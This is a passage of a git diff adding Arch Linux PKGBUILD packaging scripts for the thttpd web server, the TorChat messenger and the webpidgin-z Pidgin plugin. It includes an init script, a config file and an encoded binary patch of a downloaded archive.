by Jef Poskanzer . +** All rights reserved. +** +** Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions +** are met: +** 1. Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** 2. Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in the +** documentation and/or other materials provided with the distribution. +** +** THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +** ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +** FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +** DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +** OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +** HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +** LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +** OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +** SUCH DAMAGE. +*/ diff --git a/thttpd/PKGBUILD b/thttpd/PKGBUILD new file mode 100644 index 0000000..b0550ff --- /dev/null +++ b/thttpd/PKGBUILD @@ -0,0 +1,34 @@ +# $Id: PKGBUILD 26493 2009-02-08 05:39:36Z eric $ +# Maintainer: Damir Perisa + +pkgname=thttpd +pkgver=2.25b +pkgrel=2 +pkgdesc="tiny/turbo/throttling HTTP server" +arch=(i686 x86_64) +url="http://www.acme.com/software/thttpd/" +license=('BSD') +depends=('bash') +backup=('usr/www/thttpd_config') +conflicts=('apache') +source=(http://www.acme.com/software/thttpd/$pkgname-$pkgver.tar.gz \ + thttpd thttpd_config LICENSE) +md5sums=('156b249b3b0bcd48b06badd2db0d56c5' '256b995472c8f0fea235b46fdd97e6ec'\ + 'b899c226895dcaa3fb131e98720843c1' '0c5762c2c34dcbe9eb18815516502872') + +build() { + cd $startdir/src/$pkgname-$pkgver + ./configure --prefix=/usr --mandir=/usr/share/man || return 1 + make || return 1 + install -d $startdir/pkg/usr/sbin + install -d $startdir/pkg/usr/share/man/man{1,8} + install -d $startdir/pkg/usr/www/data/log + make BINDIR=$startdir/pkg/usr/sbin \ + MANDIR=$startdir/pkg/usr/share/man WEBDIR=$startdir/pkg/usr/www \ + WEBGROUP=root install || return 1 + chown root:root $startdir/pkg/usr/share/man/man8/thttpd.8 + install -D -m755 ../thttpd $startdir/pkg/etc/rc.d/thttpd + install -D -m755 ../thttpd_config $startdir/pkg/usr/www/thttpd_config + install -D -m644 ../LICENSE $startdir/pkg/usr/share/licenses/$pkgname/LICENSE +} + diff --git a/thttpd/thttpd b/thttpd/thttpd new file mode 100755 index 0000000..525c591 --- /dev/null +++ b/thttpd/thttpd @@ -0,0 +1,39 @@ +#!/bin/bash + + . /etc/rc.conf + . /etc/rc.d/functions + PID=`pidof -o %PPID /usr/sbin/thttpd` + + case "$1" in + start) + stat_busy "Starting thttpd" + /usr/sbin/thttpd -C /usr/www/thttpd_config + if [ $? -gt 0 ]; then + stat_fail + else + add_daemon thttpd + stat_done + fi + ;; + stop) + stat_busy "Stopping thttpd" + [ ! -z "$PID" ] && kill $PID &>/dev/null + if [ $? -gt 0 ]; then + stat_fail + else + rm_daemon thttpd + stat_done + fi + ;; + restart) + $0 stop + sleep 5 + $0 start + ;; + *) + echo "Usage $0 {start|stop|restart}" + ;; + esac + + + diff --git a/thttpd/thttpd_config b/thttpd/thttpd_config new file mode 100644 index 0000000..d005c68 --- /dev/null +++ b/thttpd/thttpd_config @@ -0,0 +1,5 @@ +dir=/usr/www/data +chroot +cgipat=**.cgi +logfile=/usr/www/data/log/thttpd_log +pidfile=/var/run/thttpd.pid \ No newline at end of file diff --git a/torchat/PKGBUILD b/torchat/PKGBUILD new file mode 100644 index 0000000..2d3258d --- /dev/null +++ b/torchat/PKGBUILD @@ -0,0 +1,57 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=torchat +pkgver=0.9.9.287 +pkgrel=3 +pkgdesc="Messenger application on top of the Tor network and it's location hidden services. Nobody will be able to find out where you are, find out what you send/receive, to whom you are sending/receiving from and where are your contacts located. Pidgin-like." +arch=('any') +license=('GPL') +url="http://code.google.com/p/torchat/" +depends=( + 'tor' + 'python' + 'wxpython' +) + +source=( + "http://torchat.googlecode.com/files/${pkgname}-source-${pkgver}.zip" + ) + +md5sums=( + 'de18fb798664757e222c9f953d9c66a7' + ) + + +build() { + mkdir -p ${pkgdir}/opt/torchat/ + rm -rf ${srcdir}/src/portable.txt #disable the "portable mode" + cp -r ${srcdir}/* ${pkgdir}/opt/torchat/ + + rm -rf ${pkgdir}/opt/torchat/${pkgname}-source-${pkgver}.zip + + mkdir -p ${pkgdir}/usr/bin + echo '#!/bin/sh + /opt/torchat/src/torchat.py $@' > ${pkgdir}/usr/bin/torchat + chmod -R 655 ${pkgdir}/usr/bin/torchat + + + #Desktop Launcher + mkdir -p ${pkgdir}/usr/share/applications + echo '[Desktop Entry] +Encoding=UTF-8 +Name=TORChat +GenericName=TORChat +Comment=Messenger application on top of the Tor network and location hidden services +Exec=/usr/bin/torchat +Icon=torchat +StartupNotify=true +Terminal=false +Type=Application +Categories=Network;InstantMessaging;' > ${pkgdir}/usr/share/applications/torchat.desktop + + #Icon + mkdir -p ${pkgdir}/usr/share/pixmaps + cp ${srcdir}/src/icons/torchat.png ${pkgdir}/usr/share/pixmaps/ + +} diff --git a/webpidgin-z/PKGBUILD b/webpidgin-z/PKGBUILD new file mode 100644 index 0000000..2e6e36f --- /dev/null +++ b/webpidgin-z/PKGBUILD @@ -0,0 +1,22 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=webpidgin-z +pkgver=2.0.z7 +pkgrel=1 +pkgdesc="Allows access to all Pidgin features over a simple http interface such as those used in mobile phones. Binary version..." +arch=(i686) +license=('GPL') +url='http://www.shaorang.com/webpidginz/' +depends=(pidgin) +source=("http://www.shaorang.com/webpidginz/descargar.php") +md5sums=('b8e3bd6b152b69ea9297681ad8b28002') + +build() { + mv descargar.php ${pkgname}-${pkgver}.zip || return 1 + bsdtar xvvzf ${pkgname}-${pkgver}.zip || return 1 + mkdir -p ${pkgdir}/usr/lib/pidgin/ + cp webpidgin*/linux32/webpidginz.so ${pkgdir}/usr/lib/pidgin/ + chmod -R 755 ${pkgdir}/ +} diff --git a/webpidgin-z/descargar.php b/webpidgin-z/descargar.php new file mode 100644 index 0000000000000000000000000000000000000000..9435893db8e18a1a414cb8472c600d15bd4ae276 GIT binary patch literal 201262 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 